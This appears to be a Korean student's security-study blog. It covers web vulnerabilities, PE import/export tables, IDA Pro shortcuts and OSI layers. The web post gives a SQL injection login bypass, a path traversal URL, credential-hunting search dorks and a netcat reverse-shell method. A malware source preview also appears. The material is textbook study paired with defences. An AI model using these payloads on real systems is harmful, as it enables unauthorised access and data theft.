no image
정보보안개론 0x03
Web Security'웹' 이라는 것은 하나의 시스템과 다른 하나의 시스템 간의 통신을 위한 프로토콜을 만들어 사용했다. 하지만 회사마다 서로 다른 통신프로토콜로 인하여 다른회사와는 통신을 할수가 없었다. 그리고 이를 해결하기 위해 하나의 프로토콜을 해석한 후 다른 프로토콜로 바꾸어 다른 시스템으로 전송해주는 장치인 GateWay를 개발했다.'웹'의 정식명칭 명칭은 World Wide Web이다. 현재 웹문서로 가장 흔히 쓰이는 HTML(Hyper Text Markup Language)은 Hyper Text를 효과적으로 전달하기 위한 스크립트 언어이다. HTTP에 대한 이해 //Hyper Text Transfer Protocol웹에서는 FTP, Telnet, HTTP, SMTP, POP등 여러 프로토콜..
2015.01.13
no image
PE File Format 0x04
IAT (Import Address Table)IAT란 쉽게 말하여 프로그램이 어떤 라이브러리에서 어떤함수를 사용하고 있는지를 기술한 테이블입니다. DLL (Dynamic Linked Library)동적 연결 라이브러리로 프로그램내에 라이브러리를 포함시키지 말고 별도의 파일(DLL)로 구성하여 필요할때마다 불러서 사용을 한다.일단 한번 로딩된 DLL의 코드, 리소스는 Memory Mapping 기술로 여러 Process에서 공유를 한다.라이브러리가 업데이트 되었을때 해당 DLL파일만 교체하면 되니 편리하다. DLL 로딩방식프로그램내에서 사용되는 순간에 로딩하고 사용이 끝나면 메모리에서 해제시키는 방법(Explicit Linking)과 프로그램 시작할때 같이 로딩되어 프로그램 종료할때 메모리에서 해제되는 ..
2015.01.13
IDA PRO 단축키
IDA PRO 단축키​Names ___________________________________ Shift+F4 Functions ________________________________ Shift+F3 Strings __________________________________ Shift+F12 Segments _________________________________ Shift+F7 Segment registers ___________________________ Shift+F8 Signatures ________________________________ Shift+F5 Type libraries _____________________________ Shift+F11 Structures ____..
2015.01.13
no image
정보보안개론 0x02
Network SecurityOSI 7 Layer (Open System Interconnection) 물리계층 //시스템 간의 연결을 의미실제 장치들을 연결하기 위한 전기적, 물리적 세부사항을 정의한 계층물리 계층은 간단하지만 네트워크에서 무척 중요하다. 네트워크가 정상적으로 동작하지 않을때 가장먼저 랜케이블이나 컴퓨터나 마우스가 제대로 꼽혀 있는지 확인하는 것 또한 OSI 계층의 가장 낮은 부분부터 확인해야한다는 것을 우리는 이미 알고있다. 데이터 링크 계층Point to Point간 신뢰성 있는 전송을 보장하기 위한 계층으로, CRC 기반의 오류 제어 및 흐름제어가 필요하다.상호 통신을 위해 MAC주소를 할당 받는다. 대표적인 장비로는 스위치가 존재하며, MAC 계층에서 동작하는 대표적인 프로토콜로..
2015.01.12
악성코드 'Lucci.exe' 소스코드 C++
#include #include #include #include "afxres.h"#pragma comment(lib,"urlmon.lib")#define IDR_EXE1 101#define IDR_DRIVER1 102 bool _util_decompress_file(char *theResourceName){ HRSRC aResourceH; HGLOBAL aResourceHGlobal; unsigned char * aFilePtr; unsigned long aFileSize; HANDLE file_handle; char filename[64]; char fPath[50] = "C:\\WINDOWS\\system32\\"; aResourceH = FindResource(NULL,MAKEINTRESOURCE..
2015.01.11
정보보안개론 0x01
System Security시스템이란? 필요한 기능을 실현하기 위해 관련 요소를 어떤 법칙에 따라 조합한 집합체를 말한다. 시스템 보안은 권한 없는 사용자에 의한 파일, 폴더 및 장치 등의 사용을 제한하여 보호하는 시스템 기능을 말한다. 시스템 관련한 보안기능의 6가지 주제계정과 패스워드 관리적절한 권한을 가진 사용자를 식별하기 위한 가장 기본적인 인증 수단세션 관리사용자와 시스템 또는 두 시스템 간의 활성화된 접속에 대한 관리접근 제어시스템이 네트워크 안에서 다른 시스템으로부터 적절히 보호될수 있도록 네트워크관점에서 접근을 통제권한 관리시스템의 각 사용자가 적절한 권한으로 적절한 정보 자산에 접근할수 있도록 통제로그 관리시스템 내부나 네트워크를 통한 외부에서 시스템에 어떤 영향을 미칠 경우 해당 사항을..
2015.01.11
C언어 요약정리
#변수의 자료형정수형 변수실수형 변수 연산자#대입연산자와 산술연산자=+-*/% num+=1 //num=num+1 #증가,감소 연산자++num--numnum++num-- #관계 연산자>=num2?num1:num2;return a1 2 0 0 0arrlen=sizeof(arr)/sizeof(int) #문자열 변수표현char str[14]="Good Morning!"; NULL을 포함하여 14byte가 사용.null='\0'문자열을 입력받을때에는 배열의 이름앞에 '&'를 붙이면 안된다.scanf함수호출을 통해서 입력받은 문자열의 끝에도 널문자가 삽입됨C언어에서 표현하는 모든 문자열의 끝에는 널문자가 삽입됨. #포인터포인터변수란 메모리의 주소값을 저장하기 위한 변수이다.int num;int *pnum;pnum=..
2015.01.10
no image
PE FILE Format 0x03
Section Header //각 Section의 속성을 정의한 것앞에서 PE 파일은 code,data,resource 등이 각각의 section으로 저장이 된다했었습니다.code : 실행, 읽기 권한data : 비실행, 읽기, 쓰기resource : 비실행, 읽기 이러한 Secion 들의 속성을 나타내는 것이 바로 Section Header 입니다. IMAGE_SECTION_HEADERtypedef struct _IMAGE_SECTION_HEADER {...UNION {...DWORD VirualSize;}Misc;DWORD VitualAddress;DWORD SizeOfRawData;DWORD PointerToRawData;...DWORD Characteristice;} IMAGE_SECTION_HE..
2015.01.10

정보보안개론 0x03

Kail-KM
|2015. 1. 13. 23:35

Web Security


'웹' 이라는 것은 하나의 시스템과 다른 하나의 시스템 간의 통신을 위한 프로토콜을 만들어 사용했다. 하지만 회사마다 서로 다른 통신프로토콜로 인하여 다른회사와는 통신을 할수가 없었다. 그리고 이를 해결하기 위해 나의 프로토콜을 해석한 후 다른 프로토콜로 바꾸어 다른 시스템으로 전송해주는 장치인 GateWay를 개발했다.

'웹'의 정식명칭 명칭은 World Wide Web이다. 현재 웹문서로 가장 흔히 쓰이는 HTML(Hyper Text Markup Language)은 Hyper Text를 효과적으로 전달하기 위한 스크립트 언어이다.


HTTP에 대한 이해        //Hyper Text Transfer Protocol


웹에서는 FTP, Telnet, HTTP, SMTP, POP등  여러 프로토콜이 쓰이며, 그 중에서 HTTP이 가장 흔히 쓰인다. HTTP를 이용하면 사용자는 다양한 응용 프로그램에 접근할수가 있다.


<HTTP Protocol>

1.먼저 클라이언트가 웹브라우저를 이용해 서버에 연결을 요청하면, 연결 요청을 받은 서버는 클라이언트에 대해 서비스를 준비한다. 서버가 준비상태가 된다.

2.클라이언트는 읽고자 하는 문서를 서버에 요청한다.

3.서버는 웹 문서중 클라이언트가 요청한 문서를 클라이언트에 전송한다.

4.연결을 끊는다.


하지만 이러한 Connect 과정을 반복해서 거쳐야 했기 떄문에 무척 비효율적이고 오래 사용되지 못했다. 하지만 1.0 버전 부터는 한번의 Connect 후에 Request와 Response를 반복할수 있게 되었다.


<HTTP Request>

HTTP Request는 웹서버에 데이터를 요청하거나 전송할때 보내는 패킷이다.

GET 방식

GET방식은 가장 일반적인 HTTP Request 형태로 웹 브라우저에 다음과 같은 요청 데이터에 대한 인수를 URL 을 통해 전송한다.    www.wishfree.or.kr/list.php?page=1&search=test

GET방식에서는 각 이름과 값을 &로 결합하며 글자 수를 255자로 제한한다. 하지만 GET 방식은 데이터가 주소 입력란에 표시되기때문에, 최소한의 보안도 유지되지 않는, 보안에 매우 취약한 방식이다.


POST 방식

POST 방식은 URL에 요청 데이터를 기록하지 않고 HTTP 헤더에 데이터를 전송하기 떄문에 GET방식과 같은 &과 같은 부분이 존재하지 않는다. 하지만 상댖거으로 처리속도가 느리지만 URL을 통해 인수값을 전달하지 않기에 다른 이가 링크를 통해 해당 페이지를 볼수 없다는 면에서 최소한의 보안성은 갖추고 있다.


<HTTP Response>

HTTP Response는 클라이언트의 HTTP Request에 대한 응답 패킷이다.


웹 서비스에 대한 이해


웹 언어는 HTML, JavaScript, Visual Basic Script 와 같이 정적인 서비스를 제공하는 언어와 ASP, JSP, PHP 등과 같이 동적인 서비스를 제공하는 언어로 나눌 수 있다.


<HTML>

HTML은 가장 단순한 형태의 웹언어이다. 웹 서버에 HTML 문서를 저장하고 있다가 클라이언트가 특정 HTML 페이지를 요청하면 해당 HTML 문서를 클라이언트로 전송한다. 그러면 클라이언트는 이 웹페이지를 해석하여 웹 브라우저에 표현해주는데 이런 웹페이지를 정적인(Static) 웹 페이지라 한다.


<SSS>

기능상 한계가 많은 정적인 웹페이지 대신 좀더 동적인(Dynamic) 웹 페이지를 제공 할수 있는 PHP, ASP, JSP 와 같은 언어가 개발이 되었다.

ASP나 JSP와 같은 동적인 페이지를 제공하는 스크립트를 SSS(Server Side Script)라 한다. ASP의 경우 DLL이나 OCX 같은 파일을 이용하고 JSP의 경우 서블릿을 이용해 요청을 처리한다.


<CSS>

웹서비스에 이용되는 스크립트에는 자바스크립트나 비베스크립트 등이 있다. 이들은 서버가 아닌 클라이언트 측의 웹 브라우저에 의해 해석되고 적용되는데, 이를 CSS(Client Side Script>라 한다.

CSS는 서버가 아닌 웹 브라우저에서 해석되어 화면에 적용되기 떄문에 웹서버의 부담을 줄여주면서도 다양한 기능을 수행할수가 있다.


웹 해킹에 대한 이해


웹 해킹은 웹사이트의 구조와 동작 원리를 이해하는 것에서부터 시작한다. 기본적으로 사용되는 것이 웹스캔, 웹프록시를 이용한 패킷분석 구글해킹 등인데, 이는 웹해킹에 소요되는 대부분의 시간을 차지할 만큼 중요한 과정이다.


<웹 취약저 스캐너를 통한 정보 수집>

웹 취약점 스캐너를 통한 정보수집은 빠른 시간내에 다양한 접속 시도를 수행할수 있다는 장점이 있지만, 웹구조를 파악하고 취약점을 수집하기가 쉽지 않다는 단점이 있다. 각 페이지의 링크정보를 따라가는 것이므로 웹페이지에서 링크로 제공하지 않는 페이지는 구조 분석이 어렵다.


<웹 프록시를 통한 취약점 분석>

웹의 구조를 파악하거나 취약점을 점검할떄, 혹은 웹 해킹을 할떄는 웹 프록시라는 툴을 사용한다. 웹 프록시클라이언트에 설치되며 클라이언트의 통제를 받는다. 즉 클라이언트가 웹 서버와 웹 브라우저 간에 전달되는 모든 HTT[ 패킷을 웹 프록시를 통해서 확인하면서 수정하는 것이 가능하다.


<구글 해킹을 통한 정보 수집>

정보를 수집하기위해서는 검색 엔진을 이용하면 유용하다. 그 중에서도 구글은 다양한 고급 검색기능을 지원하기에 많은 정보를 접할수 있다.

site: 특정 사이트만을 집중적으로 선정해서 검색할떄 유용하다. 아래 검색어는 naver.com 도메인이 있는 페이지에서 admin 문자열을 찾으라는 의미이다.    site:naver.com admin

filetype : 특정 파일 유형에 대해 검색할떄 사용한다.    filetype:txt passwd

intitle : 페이지의 제목에 검색하는 문자가 들어있는 사이트를 찾는 기능으로 디렉터리 리스팅 취약점이 존재하는 사이트를 쉽게 찾을수 있기 떄문에 정보를 수집할떄 아주 유용하다. 아래 검색어를 입력하면 수많은 사이트의 디렉터리 리스팅을 확인할수 있다.    intitleindex.of admin

검색엔진의 검색을 피하는 방법 : 웹서버의 홈 디렉터리에 robots.txt 파일을 만들어 검색 할 수 없게 만드는 것이다.



웹의 주요 취약점 10가지


1.명령 삽입 취약점 

클라이언트의 요청을처리하기 위해 전송받는 인수에는 특정명령을 실행할수 있는 코드가 포함되는 경우가 있다. 명령 삽입공격은 웹서버와 연동되는 데이터 베이스에 임의의 SQL 명령을 실행하여 데이터를 수집한다.

데이터베이스에 SQL 삽입공격을 위해서는 인증이 필요하다 이를 위해서는 어떤 수단을 SQL의 결과값에 NULL이 나오지 않게, 즉 출력값이 사용자 ID가 되도록하면 로그인에 성공할수있다. 이를 위해서 자주 사용되는 방법으로는 SQL문에서 WHERE로 입력되는 조건문을 항상 참으로 만드는 방법이 있다. 바로 조건값에 'or' '='을 입력하는 것이다. 

ID : 'or''='                SELECT user_id FROM member WHERE

Passwd : 'or''='        user_id = ''or''='' AND password = ''or ''=''


SQL 삽입공격에 사용되는 SQL문은 무엇이라도 SQL 삽입 공격에 사용될수 있다.


2. XSS 취약점

XSS(Cross Site Scripting)은 공격자에 의해 작성된 스크립트가 다른 사용자에게 전달되는 것이다.

주로 임의의 XSS 취약점이 존재하는 서버에 XSS코드를 작성하여 저장한다. 일반적으로 공격자는 임의의 사용자 또는 특정인이 이용하는 게시판을 이용한다.


3. 취약한 인증 및 세션 관리

취약한패스워드 설정 :취약한 인증의 가장 기본적인 문제점은 패스워드 설정

사용자 측 데이터를 이용한 인증 : 세션 인증 값을 정상적으로 받은 후 UserNo값만 변경함으로써 다른 계정으로 로그인 한 것처럼 웹서비스를 이용할수 있게 된다.


4. 직접 객체 참조

직접객체 참조는 파일, 디렉터리, 데이터베이스 키와 같이 내부적ㅇ로 구현된 객체에 대한 참조가 노출될떄 발생

  • 디렉터리 검색

디렉터리 탐색은 웰브라우저에서 확인 가능한 경로의 상위로 탐색하여 특정시스템 파일을 다운로드하는 공격방법이다.

예를 들어 게시판등에서 첨부파일을 다운받을때 다음과 같이 down.jsp 형태의 SSS를 주로 사용한다.

www.kali-km.com/board/down.jsp?filename=사업계획.hwp

위와 같이 정상적인 다운로드 페이지를 이용해 다른 파일의 다운로드를 요청하면 어떻게 될까?

www.kali-km.com/board/down.jsp?filename=..//list.jsp

이와 같이 공격자가 상위로 올라가 특정 파일을 열람 할 수 있으므로 ..와 /문자를 필터링해야한다.


  • 파일업로드 제한부재

클라이언트에서 서버측으로 임의의 파일을 보낼수 있는 취약점은 웹서버가 가지는 가장 치명적인 취약점이다. 공격자는 웹서버에 악의적이 파일을 전송하므로 통해 웹해킹의 최종목표인 리버스텔넷과 같은 웹서버의 통제권을 얻기위해 반드시 성공해야하는 작업이다. 이떄 가장 일반적인 형태는 게시판을 이용하며 첨부파일로 업로드 하는 악성코드는 대부분 웹쉘이다.


  • 리버스텔넷(Reverse Telnet)

리버스텔넷 기술은 웹해킹을 통해 시스템의 권한을 획득한 후 해당 시스템에 텔넷과 같이 직접 명령을 입력하고 확인할수 있는 쉘을 획득하기 위한 방법으로 방화벽이 존재하는 시스템을 공격할떄 자주 사용된다.

심화된 공격을 하기위해서는 텔넷과 유사한 접근권한을 획득하는 것이 매우 중요한데, 이떄 리버스 텔넷이 유용하다.

방화벽에서 인바운드정책(외부에서 방화벽 내부로 들어오는 패킷에 대한 정책)은 80번 포트외에 필요한 포트만 빼고 다 막아 놓지만 아웃바운드정책(내부에서 욉로 나갈떄에 대한 정책)은 별다른 필터링을 수행하지 않는 경우가 많다.

웹서버에서 공격자 PC로 텔넷 연결을 허용하고 있는 상황을 공격자가 이용하는 것이 바로 리버스 텔넷이다. 하지만 그전에 웹서버에서 권한을 획득해야하며, 이를 위해 보통 파일업로드 공격을 이용하며 웹 쉘의 업로드를 통해 시스템에 명령을 입력할수 있는 명령창을 얻는 것이다. 리버스 텔넷을 위한 툴을 업로드하는데 보통 nc(netcat)라는 툴을 많이 사용한다.

리버스 텔넷을 막기위해서는 파일업로드를 먼저 막아야한다. 그리고 exe나 com 같은 실행파일의 업로드도 막아야한다. 또한 외부에서 내부로의 접속뿐만 아니라 내부에서 외부로의 불필요한 접속도 방화벽으로 막는 것이 좋다.


5. CSRF 취약점 (Cross Site Request Forgery)

CSRF는 특정 사용자를 대상으로 하지 않고, 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와는 무관하게 공격자가 위도한 행위를 하게 만드는 공격이다. CSRF는 기본적으로는 XSS 공격과 매우 유사하며 이의 발전된 형태라 보기도한다.

XSS는 악성스크립트가 클라이언트에서 실행되는데 반해, CSRF 공격은 사용자가 악성스크립트를 서버에 요청한다는 차이가 있다.


6. 보안 설정 취약점

  • 디렉터리 리스팅

디렉터리 리스팅은 웹브라우저에서 웹서버의 특정 디렉터리를 열면 그 디렉터리에 있는 파일과 목록이 모두 나열되는 것을 의미한다. 취약점으로 인한 경우에는 www.kali-km.com/%3f.jsp 와 같이 간단한 공격 코드로도 디렉터리 리스팅을 수행할수 있으므로 패치를 적용해야 한다.


  • 벡업 및 임시 파일 존재

개발자들이 웹사이트를 개발하고 난 훙 웹서버에 백업 파일이나 임시 파일들을 삭제하지 않은채 방치하는 경우가 종종 있다. 흔히 login.asp 파일이 웹서버의 편집 프로그램이 자동으로 생성하는 login.asp.bak과 같은 형태로 남는 경우를 말한다.


  • 주석 관리 미흡

일반적으로 프로그램의 주석은 개발자만 볼수 있으나, 웹 어플리케이션의 경우에는 웹 프록시를 통해 이용자도 볼수 있다. 


7. 취약한 정보 저장 방식

최근 개인정보 유출사건이 많아지는 가운데 중요한 데이터를 보호하기 위하여 암호화 로직을 사용하고, 데이터 베이스 테이블 단위에서 암호화를 수행 하여야 한다.


8. URL 접근 제한 실패

URL 접근제한 실패는 관리자 페이지가 추측하기 쉬운 URL을 가지거나 인증이 필요한 페이지에 대한 인증 미처리로 인해 인증을 우회하여 접속할수 있는 취약점이다. 

원래는 관리자로 로그인해야 관리자용 웹페이지에 접속할수 있는 것인데, 로그인 하지 않고도 특저 작업이 가능한 경우가 발생한다.

인증 우회를 막기위해서는 웹에 존재하는 중요 페이지에 세션값(쿠키)을 확인하도록 검증 로직을 입력해둬야 한다.


9. 인증 시 비암호화 채널 사용

인터넷 뱅킹과 같이 보안성이 중요한 시스템에서는 웹 트래픽을 암호화한다. 이떄 사용되는 암호화 알고리즘이 약하거나 암호화 하는 구조에 문제가 있다면 웹 트래픽은 복호화 되거나 위변조 될수 있다.


10. 부적절한 오류 처리

웹페이지의 경우 자동으로 다른페이지로 리다이렉트 하거나 포워드하는 경우가 종종 발생한다. 이떄 신뢰되지 않은 데이터를 사용하는 경우가 있는데, 적절한 확인절차가 없으면 공격자는 피해자를 피싱사이트나 악의적인 사이트로 리다이렉트 할 수 있고, 권한 없는 페이지의 접근을 위해 사용할수도 있다.


웹의 취약점 보완


1. 특수문자 필터링

웹의 취약점은 다양하지만 대부분 몇가지 보완을 통해 막을수가 있다. 가장 대표적인 것이 특수문자 필터링이다. 웹 해킹의 가장 기본적인 형태 중 하나가 인수 조작인데 인수 조작은 예외적인 실행을 유발 시키기 위해 일반적으로 특수문자를 포함하게 되어 있다. 


2. 서버 측 통제 작용

파일 업로드 취약점이나 특수문자 필터링을 수행할떄 주의할점은 자바스크립트와 같은 CSS 기반의 언어로 필터링을 하면 안된다는 것이다. CSS 기반의 언어는 웹프록시를 통해 웹브라우저에 전달되기 떄문에 웹프록시를 통해 전달되는 과정에서 변조될 가능성이 있다.

따라서 CSS 기반의 언어로 필터링 할 경우 공격자가 필터링 로직만 파악하면 쉽게 필터링이 무력화 된다. 즉 필터링 로직은 ASP, JSP 등과같은 SSS로 필터링을 수행해야 한다.


3. 지속적인 세션 관리

URL 접근 제한 실패를 막기 위해서는 기본적으로 모든 웹페이지에 세션에 대한 인증을 수행해야 한다. 모든 웹페이지에 대해 일관성 있는 인증 로직을 적요하려면 기업단위에서 또는 웹 사이트 단위에서 세션 인증로직을 표준화 하고, 모든 웹페이지를 개발할떄 해당 표준을 준수하도록 해야한다.

'Study > Book' 카테고리의 다른 글

정보보안개론 0x06  (0) 2015.01.23
정보보안개론 0x05  (0) 2015.01.22
정보보안개론 0x04  (0) 2015.01.21
정보보안개론 0x02  (0) 2015.01.12
정보보안개론 0x01  (2) 2015.01.11

PE File Format 0x04

Kail-KM
|2015. 1. 13. 04:24

IAT (Import Address Table)


IAT란 쉽게 말하여 프로그램이 어떤 라이브러리에서 어떤함수를 사용하고 있는지를 기술한 테이블입니다.


  • DLL (Dynamic Linked Library)

동적 연결 라이브러리로 프로그램내에 라이브러리를 포함시키지 말고 별도의 파일(DLL)로 구성하여 필요할때마다 불러서 사용을 한다.

일단 한번 로딩된 DLL의 코드, 리소스는 Memory Mapping 기술로 여러 Process에서 공유를 한다.

라이브러리가 업데이트 되었을때 해당 DLL파일만 교체하면 되니 편리하다.


  • DLL 로딩방식

프로그램내에서 사용되는 순간에 로딩하고 사용이 끝나면 메모리에서 해제시키는 방법(Explicit Linking) 프로그램 시작할때 같이 로딩되어 프로그램 종료할때 메모리에서 해제되는 방법(Implicit Linking)이 있다.

//IAT는 바로 Implicit Linkiing에 대하 메커니즘을 제공하는 역할을 한다.


아래는 notepad.exe의 kernel32.dll 의 CreateFileW를 호출하는 코드이다.


CreateFileW 를 호출 할때 직접호출하지 않고 128A0E4 주소에 있는 값을 가져와서 호출 한다. 따라서 76F4732C를 값으로 가져오는 것이다.(모든 API 호출은 이런방식이다.)  덤프에 kernel32.dll CreateFileW 함수의 주소값을 씌워 놓은 것이다.

76F4732C 주소가 바로 notepad.exe 프로세스 메모리에 로딩된 kernel32.dll의 CreateFileW 함수 주소이다.

모든 환경에서 CreateFileW 함수호출을 보장하기 위해서 컴파일러는128A0E4의 실제 주소(76F4732C)가 저장될 위치를 준비하고 CALL DWORD PTR DS:[128A0E4] 형식의 명령어를 적어두기만 하면 그 후 파일이 실행되는 순간 PE loader가 128A0E4의 위치에 CreateFileW의 주소를 입력해준다.


(DLL은 PE Header에 명시된 ImageBase에 로딩된디고 보장할수 없다. 반면에 process 생성 주체가 되는 EXE 파일은 자신의 ImageBase에 정확히 로딩이 된다.)



IMAGE_IMPORT_DESCRIPTOR                    //PE Body에 위치


PE파일은 자신이 어떤 라이브러리를 Import하고 있는지 IMAGE_IMPORT_DESCRIPTOR 구조체에 명시하고 있다.


  • Import : library으로부터 서비스(함수)를 제공받는 일
  • Export : library 입장에서 다른 PE 파일에게 서비스(함수)를 제공하는 일


일반적인 프로그램에서는 여러개의 Library를 Import하기 떄문에 Library의 수 많큼 위 구조체의 배열 형식으로 존재하게 되며, 구조체 배열의 마지막은 NULL 구조체로 끝난다.


  • OriginalFirstThunk : INT (Import Name Table)의 주소 (RVA)                //여기서 Table은 배열을 의미한다.
  • Name : Library 이름 문자열의 주소(RVA)
  • FirstThunk : IAT(Import Address Table)의 주소(RVA)

//INT와 IAT는 long type(4Byte) 배열이며 NULL로 끝난다.




EAT (Export Address Table)


windows 운영체제에서 라이브러리란 다른 프로그램에서 불러 쓸수 있도록 관련 함수들을 모아놓은 파일(DLL/SYS) 입니다.

EAT는 라이브러리 파일에서 제공하는 함수를 다른 프로그램에서 가져다 사용할수 있도록 해주는 메커니즘이며 IAT와 마찬가지로 PE 파일내 특정 구조체(IMAGE_EXPORT_EIRECTORY)에 정보를 저장하고 있으며 이 구조체는 PE파일에 하나만 존재한다.

*참고로 IAT를 설명하는 IID구조체는 여러개의 멤버를 가진 배열형탤 존재한다. 왜냐하면 PE파일은 여러개의 라이브러리를 동시에 Import할수 있기때문이다.





kernel32.dll은 export하는 모든함수에 이름이 존재하며, AddressOfNameOrdinals 배열의 값이 index = ordinal 형태로 되었습니다

하지만 모든 DLL파일이 이와 같지는 않습니다.export하는 함수중에 이름이 존재하지 않을수도 있으며AddressOfNameOrdinals 배열의 값이 index != ordinal 인 경우도 있습니다.


따라사 위 순서를 따라야만 정확한 함수 주소를 얻을수 있습니다.


**본 게시물은 http://www.reversecore.com 을 참고하여 복습용으로 옮겨 적거나 한 것이지 결코 제 머리에서 나온게 아님을 알려드립니다.  자세한건 Reversecore로 가시는게 더 좋습니다.

'Reversing > Theory' 카테고리의 다른 글

범용 CPU 레지스터  (1) 2015.03.04
Assembly Basic Commands  (0) 2015.01.23
IDA PRO 단축키  (0) 2015.01.13
PE FILE Format 0x03  (0) 2015.01.10
PE FILE Format 0x02  (0) 2015.01.09

IDA PRO 단축키

Kail-KM
|2015. 1. 13. 00:25


IDA_Pro_Shortcuts.pdf


IDA PRO 단축키

Names ___________________________________ Shift+F4
Functions ________________________________ Shift+F3
Strings __________________________________ Shift+F12
Segments _________________________________ Shift+F7
Segment registers ___________________________ Shift+F8
Signatures ________________________________ Shift+F5
Type libraries _____________________________ Shift+F11
Structures _________________________________ Shift+F9
Enumerations ____________________________ Shift+F10



Data Format Options
ASCII strings style ____________________________ Alt+A
Setup data types ______________________________ Alt+D



File Operations
Parse C header file ___________________________ Ctrl+F9
Create ASM file ____________________________ Alt+F10
Save database _______________________________ Ctrl+W



Navigation
Jump to operand ______________________________ Enter
Jump in new window _______________________ Alt+Enter
Jump to previous position ________________________ Esc
Jump to next position ______________________ Ctrl+Enter
Jump to address _________________________________ G
Jump by name _______________________________ Ctrl+L
Jump to function _____________________________ Ctrl+P
Jump to segment _____________________________ Ctrl+S
Jump to segment register ______________________ Ctrl+G
Jump to problem ____________________________ Ctrl+Q
Jump to cross reference _______________________ Ctrl+X
Jump to xref to operand ___________________________ X
Jump to entry point __________________________ Ctrl+E
Mark Position _______________________________ Alt+M
Jump to marked position ______________________ Ctrl+M



Debugger
Star process ____________________________________ F9
Terminate process ___________________________ Ctrl+F2
Step into ______________________________________ F7
Step over ______________________________________ F8
Run until return _____________________________ Ctrl+F7
Run to cursor ___________________________________ F4


Breakpoints
Breakpoint list ___________________________ Ctrl+Alt+B


Watches
Delete watch __________________________________ Del


Tracing
Stack trace ______________________________ Ctrl+Alt+S


Search
Next code __________________________________ Alt+C
Next data __________________________________ Ctrl+D
Next explored _______________________________Ctrl+A
Next unexplored ____________________________ Ctrl+U
Immediate value ______________________________ Alt+I
Next immediate value _________________________ Ctrl+I
Text ______________________________________ Alt+T
Next text __________________________________ Ctrl+T
Sequence of bytes ____________________________ Alt+B
Next sequence of bytes _______________________ Ctrl+B
Not function ________________________________ Alt+U
Next void __________________________________ Ctrl+V
Error operand ______________________________ Ctrl+F


Graphing
Flow chart ____________________________________ F12
Function calls _____________________________ Ctrl+F12


Miscellaneous
Calculator _____________________________ Shift+/
Cycle through open views ________________ Ctrl+Tab
Select tab _________________________ Alt + [1…N]
Close current view ______________________ Ctrl+F4
Exit ___________________________________ Alt+X
IDC Command ________________________ Shift+F2


Edit (Data Types – etc)

Copy ____________________________________ Ctrl+Ins
Begin selection _______________________________ Alt+L
Manual instruction __________________________ Alt+F2
Code __________________________________________ C
Data __________________________________________ D
Struct variable _______________________________ Alt+Q
ASCII string ____________________________________ A
Array ______________________________________ Num *
Undefine ______________________________________ U
Rename _______________________________________ N


Operand Type
Offset (data segment) _____________________________ O
Offset (current segment) ______________________ Ctrl+O
Offset by (any segment) ________________________ Alt+R
Offset (user-defined) __________________________ Ctrl+R
Offset (struct) ___________________________________ T
Number (default) ____________________________ Shift+3
Hexadecimal ____________________________________ Q
Decimal _______________________________________ H
Binary _________________________________________ B
Character ______________________________________ R
Segment _______________________________________ S
Enum member __________________________________ M
Stack variable ___________________________________ K
Change sign ________________________________ Shift+-
Bitwise negate ______________________________ Shift+`
Manual ____________________________________ Alt+F1


Comments
Enter comment ______________________________ Shift+;
Enter repeatable comment __________________________ ;
Enter anterior lines ______________________________ Ins
Enter posterior lines ________________________ Shift+Ins
Insert predefined comment ___________________ Shift+F1


Segments
Edit segment ________________________________ Alt+S
Change segment register value __________________ Alt+G


Structs
Struct var __________________________________ Alt+Q
Force zero offset field ________________________ Ctrl+Z
Select union member __________________________ Alt+Y


Functions
Create function __________________________________ P
Edit function ________________________________ Alt+P
Set function end _________________________________ E
Stack variables ______________________________ Ctrl+K
Change stack pointer __________________________ Alt+K
Rename register _________________________________ V
Set function type _________________________________ Y​
 

'Reversing > Theory' 카테고리의 다른 글

Assembly Basic Commands  (0) 2015.01.23
PE File Format 0x04  (0) 2015.01.13
PE FILE Format 0x03  (0) 2015.01.10
PE FILE Format 0x02  (0) 2015.01.09
PE FILE Format 0x01  (0) 2015.01.08

정보보안개론 0x02

Kail-KM
|2015. 1. 12. 01:34

Network Security


OSI 7 Layer (Open System Interconnection)


  • 물리계층                    //시스템 간의 연결을 의미

실제 장치들을 연결하기 위한 전기적, 물리적 세부사항을 정의한 계층

물리 계층은 간단하지만 네트워크에서 무척 중요하다. 네트워크가 정상적으로 동작하지 않을때 가장먼저 랜케이블이나 컴퓨터나 마우스가 제대로 꼽혀 있는지 확인하는 것 또한 OSI 계층의 가장 낮은 부분부터 확인해야한다는 것을 우리는 이미 알고있다.


  • 데이터 링크 계층

Point to Point간 신뢰성 있는 전송을 보장하기 위한 계층으로, CRC 기반의 오류 제어 및 흐름제어가 필요하다.

상호 통신을 위해 MAC주소를 할당 받는다. 대표적인 장비로는 스위치가 존재하며, MAC 계층에서 동작하는 대표적인 프로토콜로는 이더넷이 있다. 


스위치(랜 공유기)가 존재할경우 두대의 컴퓨터를 1,2번 포트에 각각 꽂을 경우

1번포트 : 1번 PC의 MAC 주소

2번포트 : 2번 PC의 MAC 주소

이렇게 메모리 정보가 변경이 된다. 아직 2계층에서는 IP의 주소가 나타나지 않는다.


  • 네트워크 계층

3계층인 네트워크 계층은 여러개의 노드를 거칠때마다 경로를 찾아주는 역할을 하는 계층으로, 다양한 길이의 데이터를 네트워크를 통해 전달하며 그 과정에서 라우팅, 흐름제어, 세그멘테이션, 오류제어들을 수행한다.

MAC 주소를 가지고 ARP 프로토콜을 이용하여 해당 IP를 가진 시스템의 MAC 주소를 브로드캐스트를 통하여 알아내기 위한 작업을 한다. 그 후 패킷은 목적지에 도달할때까지 라우터를 만날 때마다 2계층의 정보를 갈아치우는 작업을 한다.


  • 전송 계층
End to end의 사용자 들이 신뢰성 있는 데이터를 주고 받을 수 있도록 함으로써, 상위 계층들이 데이터 전달의 유효성이나 효율성을 신경쓰지 않도록 해준다. 

전송 프로토콜 로는 TCP가 있다. TCP도 주소를 가지고 있으며 이를 Port라 한다. MAC 주소가 네트워크 카드의 고유 식별자 이고 ip가 시스템의 주소라면 포트는 시스템에 도착한 후 패킷이 찾아갈 응용 프로그램과 통하는 통로 번호라 할 수 있다.

TCP는 연결지향형 프로토콜로, 수신측이 데이터를 흘려버리지 않도록 데이터 흐름 제어 및 전송중 에러가 발생할 경우 자동으로 재전송하는 에러 제어 기능을 한다. 그리고 이를 통해 데이터의 확실한 전송을 보장한다.

//TCP 3-Way HandShake


  • 세션 계층
